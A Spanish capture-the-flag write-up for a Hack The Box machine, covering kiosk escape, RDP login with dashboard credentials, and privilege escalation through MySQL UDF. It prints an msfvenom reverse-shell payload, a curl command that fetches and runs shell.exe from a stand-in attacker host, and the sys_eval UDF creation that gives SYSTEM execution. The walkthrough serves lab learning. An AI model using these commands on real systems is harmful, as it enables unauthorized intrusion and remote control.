Introduction

En la máquina Layover obtuviste un nombre y un código de confirmación de vuelo. ¿Puede que te ayude aquí? Jenny Crawford / KS7X2M.
Getting the Flags
Reconocimiento Inicial
Comenzamos escaneando los puertos abiertos.

Ahora analizamos estos puertos más a fondo.

Vamos a buscar directorios en la web.

Vamos a listar más directorios en estos dos.

Vamos a ver cómo se ve la web.
Profundización
Default Software Configuration
Si inspeccionamos la web, nos damos cuenta de que el apartado Forgot your password? no es un botón, pero si lo inspeccionamos con las herramientas de desarrollador se puede observar lo siguiente:

Lo tendremos en cuenta para más adelante. Vamos a mirar el archivo status que encontramos.

Acabamos de encontrar el serial, lo que implica que tenemos la contraseña por defecto. Vamos a ponerla.

Una vez iniciada la sesión, podemos ver el dashboard de gestión del escáner. Vamos a investigar un poco.

Parece que las credenciales se pueden leer. Aprovechando que el puerto RDP estaba abierto, vamos a iniciar sesión con:
xfreerdp3 /v:touch.htb /u:'KioskUser' /p:'[REDACTED]' /dynamic-resolution +clipboard
Nos encontramos con lo siguiente:

Parece la interfaz de check in de un aeropuerto. Hacemos click en la pantalla.

Vamos a seleccionar idioma y a continuar. Aparece la referencia de reserva, donde metemos los datos que teníamos.

Llegamos a una página de escaneo.

Pero si le damos a escanear salta un error.
Explotación
Recordando el dashboard nos acordamos de que podemos apagar el escáner.

Al intentar de nuevo, salta un error con un link.

Hacer click en el link nos lleva a un navegador browseable.

Unrestricted System Navigation
Vamos a abrir un documento con Crt+O, en concreto la cmd.

Le damos a Open file.

Y se nos abre una cmd.

Vamos a buscar la flag.
Escalada de Privilegios
Shell Stabilization
Ahora toca escalar. Pero lo primero que vamos a hacer es conseguir una shell. Porque este sistema tiene salida rara y además está en inglés, por lo que genera interferencia con nuestro teclado.
En nuestra kali:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=[ATTACKER_IP] LPORT=[ATTACKER_PORT] -f exe -o shell.exe
Después servimos el archivo con:
python3 -m http.server 8000
Abrimos msfconsole y establecemos un listener.

Ahora desde la cmd de la máquina remota, ponemos:
curl -L -o not_suspicious.exe "http://[ATTACKER_IP]:[ATTACKER_PORT]/shell.exe" && not_suspicious.exe
Y le damos a enter, lo que nos da una sesión en Metasploit.

Ahora vamos a buscar métodos tradicionales de escalada de privilegios.
Después de un rato buscando no hemos encontrado nada, por lo que decidimos mirar a ver si algún archivo de la aplicación puede darnos una pista.

Sensitive Data Disclosure via Harcode
DB Low Privilege User
Y después de navegar por los directorios durante un rato, lo vemos:

Está hardcodeada la contraseña de acceso a la base de datos. Con esta contraseña vamos a acceder a la base de datos y a ver qué hay.
Al no ser una consola interactiva, debemos de usar la opción -e para especificar el comando a ejecutar.

Esta tabla parece la más interesante.

Sin embargo no hay nada que nos sirva después de probar. Por lo que tendremos que buscar más.
DB Root User
Después de un rato, encontramos lo siguiente:

La contraseña de root. Sin embargo al probarla para ser Administrator no funciona, no han reutilizado la contraseña del administrador de la base de datos.
Privesc via Library - UDF
Aunque esa ruta está descartada, esta contraseña nos permite mirar los permisos que tenemos sobre las bases de datos.

Tenemos permisos sobre archivos y permiso para introducir UDFs (User Defined Functions). Resulta que hay una técnica que se explica en HackTricks:

Vamos a crear por tanto un plugin malicioso. El archivo /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll es un dll malicioso con una biblioteca de funciones precompilada que viene integrada con Metasploit.
upload /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll "C:\\MySQL\\lib\\plugin\\lib_mysqludf_sys_64.dll"

Una vez subido, vamos a crear una función para ejecutar comandos.
mysql -u root -p"[REDACTED]" -e "CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys_64.dll';"
CREATE FUNCTION: Crea la funciónsys_eval.RETURNS STRING: Define qué resultado devolverá la función.SONAME 'lib_mysqludf_sys_64.dll': Le dice a MySQL que busque el código de esa función dentro del.dllque hemos subido.
Y ahora ejecutamos código.

Ya podemos ejecutar código como SYSTEM. Podríamos subir una shell y ejecutarla exactamente igual que hemos hecho para conseguir esta sesión de merterpreter, en otro puerto y ejecutándolo desde sys_eval, pero como esto es un ejercicio de HTB y no un ejercicio de pentesting real, vamos a leer la flag que es lo que nos interesa.
Conclusión
Máquina diferente. La primera parte era bastante fácil, no tenía mucho misterio más allá de una enumeración decente y conocimiento genérico sobre navegadores. Quizá la parte que ponía un poco más de trabas era el paso de apagar el escáner.
La segunda parte, sin embargo se complicaba sustancialmente. Encontrar el método de escalada de privilegios era complicado. Pero no hay mal que por bien no venga, ¡otra técnica más incorporada a nuestro abanico!
En esta máquina hemos trabajado:
- Enumeración
- Control de navegador
- Estabilización de shell
- Escalada de privilegios vía SQL
Una máquina divertida cuanto menos.
Hemos obtenido ambas flags.
